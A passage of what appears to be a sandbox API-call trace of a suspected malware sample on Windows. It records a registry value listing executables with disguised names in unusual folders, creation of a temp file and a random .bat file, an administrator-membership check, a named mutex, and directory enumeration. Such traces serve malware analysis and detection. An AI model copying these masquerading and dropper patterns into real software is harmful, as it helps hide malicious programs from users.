ZWhpbmQuZXhlIiwiQzpcXFVzZXJzXFxEZWZhdWx0IFVzZXJcXGZsYXNoZnhwLmV4ZSJd", cbData=0x972 | out: lpData="WyJDOlxcY29tcHJvdmlkZXJSdW50aW1lY29tbW9uXFxjaGFpbnNhdmVzcmVmLmV4ZSIsIkM6XFxjb21wcm92aWRlclJ1bnRpbWVjb21tb25cXHdoYXRldmVyX29ubHkuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXNcXFJlZmVyZW5jZSBBc3NlbWJsaWVzXFxNaWNyb3NvZnRcXEZyYW1ld29ya1xcdjMuMFxcUmVkaXN0TGlzdFxcc3Bjd2luLmV4ZSIsIkM6XFxCb290XFxydS1SVVxcYnV0IGluc2lkZSBzYXZlLmV4ZSIsIkM6XFxCb290XFxlcy1FU1xcSWRsZS5leGUiLCJDOlxcQm9vdFxccGwtUExcXG9wZXJhbWFpbC5leGUiLCJDOlxcUmVjb3ZlcnlcXGQzMjdkNWMyLTcxNDctMTFlYi05ODYyLWQ3MzFjNWFhYTdhOVxcZXhwbG9yZXIuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXE1pY3Jvc29mdCBPbmVEcml2ZVxcb21uaXBvcy5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlc1xcUmVmZXJlbmNlIEFzc2VtYmxpZXNcXHRhc2tob3N0LmV4ZSIsIkM6XFxSZWNvdmVyeVxcZDMyN2Q1YzItNzE0Ny0xMWViLTk4NjItZDczMWM1YWFhN2E5XFxhYnNvbHV0ZXRlbG5ldC5leGUiLCJDOlxcUmVjb3ZlcnlcXGQzMjdkNWMyLTcxNDctMTFlYi05ODYyLWQ3MzFjNWFhYTdhOVxcc2VydmljZXMuZXhlIiwiQzpcXFVzZXJzXFxEZWZhdWx0XFxSZWNlbnRcXGlleHBsb3JlLmV4ZSIsIkM6XFxXaW5kb3dzXFxTeXNXT1c2NFxcd2lucm1cXDA0MDlcXGZwb3MuZXhlIiwiQzpcXGNvbXByb3ZpZGVyUnVudGltZWNvbW1vblxcYnV0IGluc2lkZSBzYXZlLmV4ZSIsIkM6XFxVc2Vyc1xcRGVmYXVsdFxcc3Bvb2xzdi5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlc1xcV2luZG93cyBOVFxcQWNjZXNzb3JpZXNcXGVuLVVTXFx5YXJkYWR1bHRiZWhpbmQuZXhlIiwiQzpcXFVzZXJzXFxEZWZhdWx0IFVzZXJcXGZsYXNoZnhwLmV4ZSJd") returned 0x0 [0165.732] RegCloseKey (hKey=0x2d0) returned 0x0 [0165.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe", nBufferLength=0x105, lpBuffer=0x1b78dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\taskhost.exe", lpFilePart=0x0) returned 0x32 [0165.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b78dec8) returned 1 [0165.870] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b78e1f0 | out: lpFileInformation=0x1b78e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bad5e0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x22bad5e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x56793222, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xcf200)) returned 1 [0165.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b78de78) returned 1 [0165.927] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0165.927] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1a988070 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0165.928] CoTaskMemFree (pv=0x1a988070) [0165.932] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1b78da10, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0165.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b78da30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0165.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\1fgVzmzb1s", nBufferLength=0x105, lpBuffer=0x1b78d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\1fgVzmzb1s", lpFilePart=0x0) returned 0x30 [0165.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b78dce8) returned 1 [0165.939] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\1fgVzmzb1s" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\1fgvzmzb1s"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2d0 [0165.941] GetFileType (hFile=0x2d0) returned 0x1 [0165.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b78dc58) returned 1 [0165.941] GetFileType (hFile=0x2d0) returned 0x1 [0165.941] WriteFile (in: hFile=0x2d0, lpBuffer=0x27fef18*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1b78dd28, lpOverlapped=0x0 | out: lpBuffer=0x27fef18*, lpNumberOfBytesWritten=0x1b78dd28*=0x19, lpOverlapped=0x0) returned 1 [0165.942] CloseHandle (hObject=0x2d0) returned 1 [0165.944] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0165.944] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1a988070 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0165.944] CoTaskMemFree (pv=0x1a988070) [0165.944] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1b78da10, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0165.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b78da30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0165.945] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0165.945] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1a988070 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0165.945] CoTaskMemFree (pv=0x1a988070) [0165.945] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1b78da10, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0165.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b78da30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0165.950] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\1fgVzmzb1s", nBufferLength=0x105, lpBuffer=0x1b78da40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\1fgVzmzb1s", lpFilePart=0x0) returned 0x30 [0165.951] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\1fgVzmzb1s" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\1fgvzmzb1s")) returned 1 [0165.954] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat", nBufferLength=0x105, lpBuffer=0x1b78da40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat", lpFilePart=0x0) returned 0x34 [0165.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b78df58) returned 1 [0165.954] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2d0 [0165.955] GetFileType (hFile=0x2d0) returned 0x1 [0165.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b78dec8) returned 1 [0165.955] GetFileType (hFile=0x2d0) returned 0x1 [0165.956] WriteFile (in: hFile=0x2d0, lpBuffer=0x28032b8*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x1b78df98, lpOverlapped=0x0 | out: lpBuffer=0x28032b8*, lpNumberOfBytesWritten=0x1b78df98*=0xdb, lpOverlapped=0x0) returned 1 [0165.957] CloseHandle (hObject=0x2d0) returned 1 [0165.988] GetCurrentProcess () returned 0xffffffffffffffff [0165.989] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78e028 | out: TokenHandle=0x1b78e028*=0x2d0) returned 1 [0166.004] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b78e088 | out: TokenInformation=0x0, ReturnLength=0x1b78e088) returned 0 [0166.005] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1bbac080 [0166.005] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x8, TokenInformation=0x1bbac080, TokenInformationLength=0x4, ReturnLength=0x1b78e088 | out: TokenInformation=0x1bbac080, ReturnLength=0x1b78e088) returned 1 [0166.006] LocalFree (hMem=0x1bbac080) returned 0x0 [0166.007] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b78e0e8 | out: phNewToken=0x1b78e0e8*=0x374) returned 1 [0166.008] CheckTokenMembership (in: TokenHandle=0x374, SidToCheck=0x2804ab0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b78e0f0 | out: IsMember=0x1b78e0f0) returned 1 [0166.008] CloseHandle (hObject=0x374) returned 1 [0166.015] LocalAlloc (uFlags=0x0, uBytes=0x6c) returned 0x1bc3d1b0 [0166.015] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0x1bc0f080 [0174.967] LocalFree (hMem=0x1bc3d1b0) returned 0x0 [0174.967] LocalFree (hMem=0x1bc0f080) returned 0x0 [0174.982] CoGetContextToken (in: pToken=0x1b78dfd0 | out: pToken=0x1b78dfd0) returned 0x0 [0174.982] IUnknown:QueryInterface (in: This=0x1a943380, riid=0x7fef1133d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b78e008 | out: ppvObject=0x1b78e008*=0x1a943398) returned 0x0 [0174.983] IComThreadingInfo:GetCurrentThreadType (in: This=0x1a943398, pThreadType=0x1b78e0e0 | out: pThreadType=0x1b78e0e0*=0) returned 0x0 [0174.983] IUnknown:Release (This=0x1a943398) returned 0x1 [0174.984] CoGetContextToken (in: pToken=0x1b78da70 | out: pToken=0x1b78da70) returned 0x0 [0174.984] IUnknown:QueryInterface (in: This=0x1a943380, riid=0x7fef1133d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b78daa8 | out: ppvObject=0x1b78daa8*=0x1a943398) returned 0x0 [0174.984] IComThreadingInfo:GetCurrentThreadType (in: This=0x1a943398, pThreadType=0x1b78db18 | out: pThreadType=0x1b78db18*=0) returned 0x0 [0174.984] IUnknown:Release (This=0x1a943398) returned 0x1 [0174.986] CoGetContextToken (in: pToken=0x1b78da70 | out: pToken=0x1b78da70) returned 0x0 [0174.986] IUnknown:QueryInterface (in: This=0x1a943380, riid=0x7fef1133d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b78daa8 | out: ppvObject=0x1b78daa8*=0x1a943398) returned 0x0 [0174.986] IComThreadingInfo:GetCurrentThreadType (in: This=0x1a943398, pThreadType=0x1b78db18 | out: pThreadType=0x1b78db18*=0) returned 0x0 [0174.986] IUnknown:Release (This=0x1a943398) returned 0x1 [0175.025] CoGetContextToken (in: pToken=0x1b78da70 | out: pToken=0x1b78da70) returned 0x0 [0175.025] IUnknown:QueryInterface (in: This=0x1a943380, riid=0x7fef1133d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b78daa8 | out: ppvObject=0x1b78daa8*=0x1a943398) returned 0x0 [0175.025] IComThreadingInfo:GetCurrentThreadType (in: This=0x1a943398, pThreadType=0x1b78db18 | out: pThreadType=0x1b78db18*=0) returned 0x0 [0175.025] IUnknown:Release (This=0x1a943398) returned 0x1 [0175.051] CoGetContextToken (in: pToken=0x1b78da90 | out: pToken=0x1b78da90) returned 0x0 [0175.052] IUnknown:QueryInterface (in: This=0x1a943380, riid=0x7fef1133d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b78dac8 | out: ppvObject=0x1b78dac8*=0x1a943398) returned 0x0 [0175.052] IComThreadingInfo:GetCurrentThreadType (in: This=0x1a943398, pThreadType=0x1b78db38 | out: pThreadType=0x1b78db38*=0) returned 0x0 [0175.052] IUnknown:Release (This=0x1a943398) returned 0x1 Thread: id = 25 os_tid = 0xe8c Thread: id = 26 os_tid = 0xe90 [0116.155] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.156] CoGetContextToken (in: pToken=0x1bb7f840 | out: pToken=0x1bb7f840) returned 0x0 [0116.156] CObjectContext::QueryInterface () returned 0x0 [0116.157] CObjectContext::GetCurrentThreadType () returned 0x0 [0116.157] Release () returned 0x0 [0116.157] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0116.157] CoUninitialize () [0116.958] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\a662db5313495af89c12e9daf05e137fcad6fcec") returned 0x24 [0117.809] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x9a4) returned 0x2bc [0117.810] GetExitCodeProcess (in: hProcess=0x2bc, lpExitCode=0x27391cc | out: lpExitCode=0x27391cc*=0x103) returned 1 [0118.036] CoTaskMemAlloc (cb=0x404) returned 0x1a9ad410 [0118.036] QueryFullProcessImageNameA (in: hProcess=0x2bc, dwFlags=0x0, lpExeName=0x1a9ad410, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files\\MSBuild\\couplecity.exe", lpdwSize=0x1bb7ed88) returned 1 [0118.042] CoTaskMemFree (pv=0x1a9ad410) [0118.087] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0118.087] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0118.088] CoTaskMemFree (pv=0x1a9882a0) [0118.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0118.124] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0118.125] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a962260 [0118.128] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0118.128] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0118.128] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0118.128] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd44f060, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0xd44f060, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0118.128] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0118.129] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.130] FindClose (in: hFindFile=0x1a962260 | out: hFindFile=0x1a962260) returned 1 [0118.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0118.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0118.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0118.171] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0118.171] FindFirstFileW (in: lpFileName="C:\\Windows\\*" (normalized: "c:\\windows\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a962260 [0118.172] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, 